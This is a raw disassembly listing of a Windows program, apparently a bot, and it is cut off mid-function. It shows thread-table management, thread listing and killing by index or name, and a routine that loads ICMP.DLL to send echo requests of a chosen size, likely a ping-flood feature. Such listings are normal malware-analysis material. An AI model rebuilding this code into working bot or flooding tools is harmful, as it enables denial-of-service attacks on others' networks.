loc_409340: ; CODE XREF: sub_409318+20j
cmp [ebp+var_C], 0
jl short loc_409381
jg short loc_40934E
cmp [ebp+var_10], 0
jbe short loc_409381
loc_40934E: ; CODE XREF: sub_409318+2Ej
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_416D10
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx
fstp [esp+20h+var_20]
call sub_416CFE ; ceil
pop ecx
pop ecx
call sub_416CF8 ; _ftol
sub eax, dword_41E2D0
jmp short locret_40938D
; ---------------------------------------------------------------------------
loc_409381: ; CODE XREF: sub_409318+1Ej
; sub_409318+26j ...
call ds:dword_4170D0 ; GetTickCount
sub eax, dword_41E2D0
locret_40938D: ; CODE XREF: sub_409318+67j
leave
retn
sub_409318 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40938F proc near ; CODE XREF: sub_4167F1+D5p
push ebp
mov ebp, esp
and dword_41E2F0, 0
push 1980h
call sub_416B46 ; malloc
pop ecx
mov dword_41E2F8, eax
push offset dword_41E2D8
call sub_409C36
pop ecx
pop ebp
retn
sub_40938F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4093B6 proc near ; DATA XREF: sub_409479+35o
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417278
push offset sub_416DBA
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_20], 0
and [ebp+var_1C], 0
and [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov eax, [eax]
mov [ebp+var_20], eax
mov eax, [ebp+arg_0]
mov eax, [eax+4]
mov [ebp+var_1C], eax
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push [ebp+var_20]
call ds:dword_4170DC ; IsBadCodePtr
test eax, eax
jz short loc_409431
cmp dword_41DE38, 0
jz short loc_40942F
push [ebp+var_20]
push offset dword_419474
push offset dword_41DAB4
call sub_40D4AB
add esp, 0Ch
loc_40942F: ; CODE XREF: sub_4093B6+62j
jmp short loc_409443
; ---------------------------------------------------------------------------
loc_409431: ; CODE XREF: sub_4093B6+59j
push [ebp+var_1C]
call [ebp+var_20]
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_24]
jmp short loc_409468
; ---------------------------------------------------------------------------
loc_409443: ; CODE XREF: sub_4093B6:loc_40942Fj
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_409466
; ---------------------------------------------------------------------------
push offset aBtg ; "btg"
push offset aThread ; "thread"
push [ebp+var_14]
call sub_40332B
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
loc_409466: ; CODE XREF: sub_4093B6+91j
xor eax, eax
loc_409468: ; CODE XREF: sub_4093B6+8Bj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
sub_4093B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409479 proc near ; CODE XREF: sub_40764D+14Ap
; sub_409BF1+2Fp ...
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push 8
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_409494
xor eax, eax
jmp short locret_4094E4
; ---------------------------------------------------------------------------
loc_409494: ; CODE XREF: sub_409479+15j
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_4]
mov [eax+4], ecx
lea eax, [ebp+var_8]
push eax
push 0
push [ebp+var_C]
push offset sub_4093B6
push 20000h
push 0
call sub_416DC0 ; _beginthreadex
add esp, 18h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4094D9
push [ebp+var_4]
call ds:dword_4170A4 ; CloseHandle
push 1
pop eax
jmp short locret_4094E4
; ---------------------------------------------------------------------------
loc_4094D9: ; CODE XREF: sub_409479+50j
push [ebp+var_C]
call sub_416B4C ; free
pop ecx
xor eax, eax
locret_4094E4: ; CODE XREF: sub_409479+19j
; sub_409479+5Ej
leave
retn
sub_409479 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4094E6 proc near ; DATA XREF: sub_4095A4+159o
var_1A4 = dword ptr -1A4h
var_1A0 = dword ptr -1A0h
var_19C = byte ptr -19Ch
var_19B = byte ptr -19Bh
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417288
push offset sub_416DBA
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 18Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov al, byte_41DE30
mov [ebp+var_19C], al
push 60h
pop ecx
xor eax, eax
lea edi, [ebp+var_19B]
rep stosd
stosw
stosb
and [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov eax, [eax]
mov eax, [eax+10h]
mov [ebp+var_1A0], eax
mov eax, [ebp+arg_0]
mov eax, [eax]
add eax, 14h
push eax
lea eax, [ebp+var_19C]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push [ebp+arg_0]
mov eax, [ebp+arg_0]
mov eax, [eax]
call dword ptr [eax+10h]
mov [ebp+var_1A4], eax
or [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_1A4]
jmp short loc_409593
; ---------------------------------------------------------------------------
lea eax, [ebp+var_19C]
push eax
push offset aThread ; "thread"
push [ebp+var_14]
call sub_40332B
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
xor eax, eax
loc_409593: ; CODE XREF: sub_4094E6+8Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
sub_4094E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p
; sub_401D6E+8Dp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
push offset dword_41E2D8
call sub_409C6C
pop ecx
cmp dword_41E2F0, 10h
jnz short loc_4095D9
push [ebp+arg_4]
call sub_416B4C ; free
pop ecx
push offset dword_41E2D8
call sub_409C7A
pop ecx
xor eax, eax
jmp locret_409761
; ---------------------------------------------------------------------------
loc_4095D9: ; CODE XREF: sub_4095A4+18j
cmp [ebp+arg_8], 0
jz short loc_409627
and [ebp+var_10], 0
jmp short loc_4095EC
; ---------------------------------------------------------------------------
loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j
mov eax, [ebp+var_10]
inc eax
mov [ebp+var_10], eax
loc_4095EC: ; CODE XREF: sub_4095A4+3Fj
cmp [ebp+var_10], 10h
jge short loc_409627
mov eax, [ebp+var_10]
imul eax, 198h
mov ecx, dword_41E2F8
mov eax, [ecx+eax+10h]
cmp eax, [ebp+arg_0]
jnz short loc_409625
push [ebp+arg_4]
call sub_416B4C ; free
pop ecx
push offset dword_41E2D8
call sub_409C7A
pop ecx
xor eax, eax
jmp locret_409761
; ---------------------------------------------------------------------------
loc_409625: ; CODE XREF: sub_4095A4+64j
jmp short loc_4095E5
; ---------------------------------------------------------------------------
loc_409627: ; CODE XREF: sub_4095A4+39j
; sub_4095A4+4Cj
and [ebp+var_C], 0
and [ebp+var_8], 0
jmp short loc_409638
; ---------------------------------------------------------------------------
loc_409631: ; CODE XREF: sub_4095A4:loc_409672j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_409638: ; CODE XREF: sub_4095A4+8Bj
cmp [ebp+var_8], 10h
jge short loc_409674
mov eax, [ebp+var_8]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jnz short loc_409672
mov eax, [ebp+var_8]
imul eax, 198h
mov ecx, dword_41E2F8
add ecx, eax
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
mov [eax], ecx
jmp short loc_409674
; ---------------------------------------------------------------------------
loc_409672: ; CODE XREF: sub_4095A4+AEj
jmp short loc_409631
; ---------------------------------------------------------------------------
loc_409674: ; CODE XREF: sub_4095A4+98j
; sub_4095A4+CCj
cmp [ebp+var_C], 0
jnz short loc_409695
push [ebp+arg_4]
call sub_416B4C ; free
pop ecx
push offset dword_41E2D8
call sub_409C7A
pop ecx
xor eax, eax
jmp locret_409761
; ---------------------------------------------------------------------------
loc_409695: ; CODE XREF: sub_4095A4+D4j
cmp [ebp+arg_4], 0
jz short loc_4096A3
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
mov [eax], ecx
loc_4096A3: ; CODE XREF: sub_4095A4+F5j
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [eax+10h], ecx
lea eax, [ebp+arg_10]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_C]
mov eax, [ebp+var_C]
add eax, 14h
push eax
call sub_416DC6 ; vsprintf
add esp, 0Ch
and [ebp+var_4], 0
mov eax, [ebp+var_C]
and dword ptr [eax+4], 0
mov eax, dword_41E2F0
inc eax
mov dword_41E2F0, eax
cmp [ebp+arg_4], 0
jz short loc_4096EB
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
jmp short loc_4096F1
; ---------------------------------------------------------------------------
loc_4096EB: ; CODE XREF: sub_4095A4+13Dj
mov eax, [ebp+var_C]
mov [ebp+var_14], eax
loc_4096F1: ; CODE XREF: sub_4095A4+145j
mov eax, [ebp+var_C]
add eax, 0Ch
push eax
push 0
push [ebp+var_14]
push offset sub_4094E6
push 0
push 0
call sub_416DC0 ; _beginthreadex
add esp, 18h
mov ecx, [ebp+var_C]
mov [ecx+8], eax
mov eax, [ebp+var_C]
cmp dword ptr [eax+8], 0
jnz short loc_409753
push [ebp+arg_4]
call sub_416B4C ; free
pop ecx
mov eax, dword_41E2F0
dec eax
mov dword_41E2F0, eax
push 198h
push 0
lea eax, [ebp+var_C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
push offset dword_41E2D8
call sub_409C7A
pop ecx
xor eax, eax
jmp short locret_409761
; ---------------------------------------------------------------------------
loc_409753: ; CODE XREF: sub_4095A4+177j
push offset dword_41E2D8
call sub_409C7A
pop ecx
push 1
pop eax
locret_409761: ; CODE XREF: sub_4095A4+30j
; sub_4095A4+7Cj ...
leave
retn
sub_4095A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409763 proc near ; CODE XREF: sub_401244+73p
; sub_401244+547p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push offset dword_41E2D8
call sub_409C6C
pop ecx
mov eax, dword_41E2F0
dec eax
mov dword_41E2F0, eax
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
call ds:dword_4170A4 ; CloseHandle
push 198h
push 0
push [ebp+arg_0]
call sub_416B6A ; memset
add esp, 0Ch
push offset dword_41E2D8
call sub_409C7A
pop ecx
pop ebp
retn
sub_409763 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 194h
cmp [ebp+arg_0], 0
jnz short loc_4097BB
jmp locret_4098F1
; ---------------------------------------------------------------------------
loc_4097BB: ; CODE XREF: sub_4097A7+Dj
push [ebp+arg_0]
call sub_407A86
pop ecx
movzx eax, al
test eax, eax
jz short loc_409825
push [ebp+arg_0]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_4], eax
push offset dword_41E2D8
call sub_409C6C
pop ecx
cmp [ebp+var_4], 10h
jnb short loc_409815
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jz short loc_409815
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
mov dword ptr [ecx+eax+4], 1
loc_409815: ; CODE XREF: sub_4097A7+3Fj
; sub_4097A7+55j
push offset dword_41E2D8
call sub_409C7A
pop ecx
jmp locret_4098F1
; ---------------------------------------------------------------------------
loc_409825: ; CODE XREF: sub_4097A7+22j
push [ebp+arg_0]
push offset aS ; "*%s*"
push 185h
lea eax, [ebp+var_190]
push eax
call sub_416BAE ; _snprintf
add esp, 10h
push offset dword_41E2D8
call sub_409C6C
pop ecx
mov eax, dword_41E2F0
mov [ebp+var_8], eax
and [ebp+var_194], 0
jmp short loc_40986A
; ---------------------------------------------------------------------------
loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j
mov eax, [ebp+var_194]
inc eax
mov [ebp+var_194], eax
loc_40986A: ; CODE XREF: sub_4097A7+B4j
cmp [ebp+var_194], 10h
jnb short loc_4098E6
mov eax, [ebp+var_194]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jz short loc_4098E1
mov eax, [ebp+var_8]
dec eax
mov [ebp+var_8], eax
lea eax, [ebp+var_190]
push eax
mov eax, [ebp+var_194]
imul eax, 198h
mov ecx, dword_41E2F8
lea eax, [ecx+eax+14h]
push eax
call sub_40A6EB
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_4098D9
mov eax, [ebp+var_194]
imul eax, 198h
mov ecx, dword_41E2F8
mov dword ptr [ecx+eax+4], 1
loc_4098D9: ; CODE XREF: sub_4097A7+116j
cmp [ebp+var_8], 0
jnz short loc_4098E1
jmp short loc_4098E6
; ---------------------------------------------------------------------------
loc_4098E1: ; CODE XREF: sub_4097A7+E3j
; sub_4097A7+136j
jmp loc_40985D
; ---------------------------------------------------------------------------
loc_4098E6: ; CODE XREF: sub_4097A7+CAj
; sub_4097A7+138j
push offset dword_41E2D8
call sub_409C7A
pop ecx
locret_4098F1: ; CODE XREF: sub_4097A7+Fj
; sub_4097A7+79j
leave
retn
sub_4097A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p
var_19C = dword ptr -19Ch
var_198 = dword ptr -198h
var_194 = byte ptr -194h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 19Ch
cmp [ebp+arg_0], 0
jnz short loc_409907
jmp locret_409AD3
; ---------------------------------------------------------------------------
loc_409907: ; CODE XREF: sub_4098F3+Dj
push [ebp+arg_0]
call sub_407A86
pop ecx
movzx eax, al
test eax, eax
jz loc_4099B4
push [ebp+arg_0]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_4], eax
push offset dword_41E2D8
call sub_409C6C
pop ecx
cmp [ebp+var_4], 10h
jnb short loc_4099A4
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jz short loc_4099A4
mov eax, dword_41E2F0
dec eax
mov dword_41E2F0, eax
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
mov eax, [ecx+eax+8]
mov [ebp+var_8], eax
push 198h
push 0
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
add ecx, eax
push ecx
call sub_416B6A ; memset
add esp, 0Ch
push 0
push [ebp+var_8]
call ds:dword_4170E0 ; TerminateThread
push [ebp+var_8]
call ds:dword_4170A4 ; CloseHandle
loc_4099A4: ; CODE XREF: sub_4098F3+43j
; sub_4098F3+59j
push offset dword_41E2D8
call sub_409C7A
pop ecx
jmp locret_409AD3
; ---------------------------------------------------------------------------
loc_4099B4: ; CODE XREF: sub_4098F3+22j
push [ebp+arg_0]
push offset aS ; "*%s*"
push 185h
lea eax, [ebp+var_194]
push eax
call sub_416BAE ; _snprintf
add esp, 10h
push offset dword_41E2D8
call sub_409C6C
pop ecx
mov eax, dword_41E2F0
mov [ebp+var_C], eax
and [ebp+var_198], 0
jmp short loc_4099F9
; ---------------------------------------------------------------------------
loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j
mov eax, [ebp+var_198]
inc eax
mov [ebp+var_198], eax
loc_4099F9: ; CODE XREF: sub_4098F3+F7j
cmp [ebp+var_198], 10h
jnb loc_409AC8
mov eax, [ebp+var_198]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jz loc_409AC3
mov eax, [ebp+var_C]
dec eax
mov [ebp+var_C], eax
lea eax, [ebp+var_194]
push eax
mov eax, [ebp+var_198]
imul eax, 198h
mov ecx, dword_41E2F8
lea eax, [ecx+eax+14h]
push eax
call sub_40A6EB
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_409ABB
mov eax, dword_41E2F0
dec eax
mov dword_41E2F0, eax
mov eax, [ebp+var_198]
imul eax, 198h
mov ecx, dword_41E2F8
mov eax, [ecx+eax+8]
mov [ebp+var_19C], eax
push 198h
push 0
mov eax, [ebp+var_198]
imul eax, 198h
mov ecx, dword_41E2F8
add ecx, eax
push ecx
call sub_416B6A ; memset
add esp, 0Ch
push 0
push [ebp+var_19C]
call ds:dword_4170E0 ; TerminateThread
push [ebp+var_19C]
call ds:dword_4170A4 ; CloseHandle
loc_409ABB: ; CODE XREF: sub_4098F3+161j
cmp [ebp+var_C], 0
jnz short loc_409AC3
jmp short loc_409AC8
; ---------------------------------------------------------------------------
loc_409AC3: ; CODE XREF: sub_4098F3+12Aj
; sub_4098F3+1CCj
jmp loc_4099EC
; ---------------------------------------------------------------------------
loc_409AC8: ; CODE XREF: sub_4098F3+10Dj
; sub_4098F3+1CEj
push offset dword_41E2D8
call sub_409C7A
pop ecx
locret_409AD3: ; CODE XREF: sub_4098F3+Fj
; sub_4098F3+BCj
leave
retn
sub_4098F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409AD5 proc near ; DATA XREF: sub_409BF1+2Ao
var_1A8 = byte ptr -1A8h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A8h
push 1A3h
push [ebp+arg_0]
lea eax, [ebp+var_1A8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
cmp dword_41E2F0, 0
jz short loc_409B25
push 10h
push dword_41E2F0
push offset dword_4194EC
lea eax, [ebp+var_1A8]
push eax
call sub_40D53F
add esp, 10h
jmp short loc_409B3F
; ---------------------------------------------------------------------------
loc_409B25: ; CODE XREF: sub_409AD5+30j
push offset dword_4194CC
lea eax, [ebp+var_1A8]
push eax
call sub_40D53F
pop ecx
pop ecx
xor eax, eax
jmp locret_409BED
; ---------------------------------------------------------------------------
loc_409B3F: ; CODE XREF: sub_409AD5+4Ej
push offset dword_41E2D8
call sub_409C6C
pop ecx
and [ebp+var_10], 0
and [ebp+var_4], 0
jmp short loc_409B5B
; ---------------------------------------------------------------------------
loc_409B54: ; CODE XREF: sub_409AD5:loc_409BDBj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_409B5B: ; CODE XREF: sub_409AD5+7Dj
cmp [ebp+var_4], 10h
jge short loc_409BE0
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+8], 0
jz short loc_409BDB
push offset dword_41E2D8
call sub_409C7A
pop ecx
push 3E8h
call ds:dword_41709C ; Sleep
push offset dword_41E2D8
call sub_409C6C
pop ecx
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
lea eax, [ecx+eax+14h]
push eax
push [ebp+var_4]
push offset dword_4194BC
lea eax, [ebp+var_1A8]
push eax
call sub_40D53F
add esp, 10h
mov eax, [ebp+var_4]
imul eax, 198h
mov ecx, dword_41E2F8
cmp dword ptr [ecx+eax+4], 0
jz short loc_409BDB
jmp short loc_409BE0
; ---------------------------------------------------------------------------
loc_409BDB: ; CODE XREF: sub_409AD5+A0j
; sub_409AD5+102j
jmp loc_409B54
; ---------------------------------------------------------------------------
loc_409BE0: ; CODE XREF: sub_409AD5+8Aj
; sub_409AD5+104j
push offset dword_41E2D8
call sub_409C7A
pop ecx
xor eax, eax
locret_409BED: ; CODE XREF: sub_409AD5+65j
leave
retn 4
sub_409AD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A3h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_409C0B
jmp short locret_409C34
; ---------------------------------------------------------------------------
loc_409C0B: ; CODE XREF: sub_409BF1+16j
push [ebp+arg_0]
push [ebp+var_4]
call sub_405F67
pop ecx
pop ecx
push [ebp+arg_0]
push offset sub_409AD5
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short locret_409C34
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
locret_409C34: ; CODE XREF: sub_409BF1+18j
; sub_409BF1+38j
leave
retn
sub_409BF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C36 proc near ; CODE XREF: sub_405FA3+9p
; sub_40938F+1Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 18h
push 0
push [ebp+arg_0]
call sub_416B6A ; memset
add esp, 0Ch
cmp dword_41DE40, 0
jz short loc_409C61
push 80000400h
push [ebp+arg_0]
call dword_41DE40 ; InitializeCriticalSectionAndSpinCount
jmp short loc_409C6A
; ---------------------------------------------------------------------------
loc_409C61: ; CODE XREF: sub_409C36+19j
push [ebp+arg_0]
call ds:dword_4170E4 ; InitializeCriticalSection
loc_409C6A: ; CODE XREF: sub_409C36+29j
pop ebp
retn
sub_409C36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C6C proc near ; CODE XREF: sub_406041+10p
; sub_4095A4+Bp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call ds:dword_4170EC ; RtlEnterCriticalSection
pop ebp
retn
sub_409C6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C7A proc near ; CODE XREF: sub_406041+26p
; sub_406041+307p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call ds:dword_41710C ; RtlLeaveCriticalSection
pop ebp
retn
sub_409C7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C88 proc near ; CODE XREF: sub_40332B+10p
; sub_41113B+7EDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
lock xadd [esi], eax
pop edi
pop esi
pop ebx
pop ebp
retn
sub_409C88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C9D proc near ; CODE XREF: sub_4042FB+17p
; sub_4042FB+25p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
lock xchg eax, [esi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_409C9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409CB1 proc near ; CODE XREF: sub_409DD0+202p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 38h
call dword_41E2FC
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0FFFFFFFFh
jnz short loc_409CD8
push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n"
call sub_416DD8 ; printf
pop ecx
xor eax, eax
jmp locret_409DCE
; ---------------------------------------------------------------------------
loc_409CD8: ; CODE XREF: sub_409CB1+13j
push 8
push 0
lea eax, [ebp+var_18]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov al, [ebp+arg_8]
mov [ebp+var_18], al
movzx eax, [ebp+arg_10]
push eax
call sub_416DD2 ; ??2@YAPAXI@Z
pop ecx
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
mov [ebp+var_C], eax
movzx eax, [ebp+arg_10]
push eax
push 45h
push [ebp+var_C]
call sub_416B6A ; memset
add esp, 0Ch
movzx eax, [ebp+arg_10]
cmp eax, 8
jge short loc_409D26
mov [ebp+var_38], 8
jmp short loc_409D2D
; ---------------------------------------------------------------------------
loc_409D26: ; CODE XREF: sub_409CB1+6Aj
movzx eax, [ebp+arg_10]
mov [ebp+var_38], eax
loc_409D2D: ; CODE XREF: sub_409CB1+73j
mov eax, [ebp+var_38]
add eax, 1Ch
mov [ebp+var_24], eax
push [ebp+var_24]
call sub_416DD2 ; ??2@YAPAXI@Z
pop ecx
mov [ebp+var_2C], eax
mov eax, [ebp+var_2C]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [ebp+var_4], eax
push [ebp+arg_C]
push [ebp+var_24]
push [ebp+var_10]
lea eax, [ebp+var_18]
push eax
movzx ax, [ebp+arg_10]
push eax
push [ebp+var_C]
push [ebp+arg_0]
push [ebp+var_1C]
call dword_41E308
mov [ebp+var_20], eax
mov [ebp+var_8], 1
cmp [ebp+var_20], 1
jz short loc_409D8D
call ds:dword_417064 ; RtlGetLastWin32Error
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_409DA4
; ---------------------------------------------------------------------------
loc_409D8D: ; CODE XREF: sub_409CB1+CDj
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov ecx, [ecx]
mov [eax+4], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov ecx, [ecx+8]
mov [eax+8], ecx
loc_409DA4: ; CODE XREF: sub_409CB1+DAj
push [ebp+var_1C]
call dword_41E304
mov eax, [ebp+var_C]
mov [ebp+var_30], eax
push [ebp+var_30]
call sub_416DCC ; ??3@YAXPAX@Z
pop ecx
mov eax, [ebp+var_10]
mov [ebp+var_34], eax
push [ebp+var_34]
call sub_416DCC ; ??3@YAXPAX@Z
pop ecx
mov eax, [ebp+var_8]
locret_409DCE: ; CODE XREF: sub_409CB1+22j
leave
retn
sub_409CB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409DD0 proc near ; DATA XREF: sub_40A1A7+FDo
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BC = dword ptr -2BCh
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = byte ptr -2B0h
var_10D = byte ptr -10Dh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2F0h
push 2ACh
push [ebp+arg_0]
lea eax, [ebp+var_2B0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
movzx eax, byte_41E310
test eax, eax
jnz short loc_409E6D
push offset aIcmp_dll ; "ICMP.DLL"
call ds:dword_417054 ; LoadLibraryA
mov dword_41E300, eax
cmp dword_41E300, 0
jnz short loc_409E24
xor eax, eax
jmp locret_40A1A3
; ---------------------------------------------------------------------------
loc_409E24: ; CODE XREF: sub_409DD0+4Bj
push offset aIcmpcreatefile ; "IcmpCreateFile"
push dword_41E300
call ds:dword_417058 ; GetProcAddress
mov dword_41E2FC, eax
push offset aIcmpsendecho ; "IcmpSendEcho"
push dword_41E300
call ds:dword_417058 ; GetProcAddress
mov dword_41E308, eax
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push dword_41E300
call ds:dword_417058 ; GetProcAddress
mov dword_41E304, eax
mov byte_41E310, 1
loc_409E6D: ; CODE XREF: sub_409DD0+32j
cmp dword_41E2FC, 0
jnz short loc_409E7D
xor eax, eax
jmp locret_40A1A3
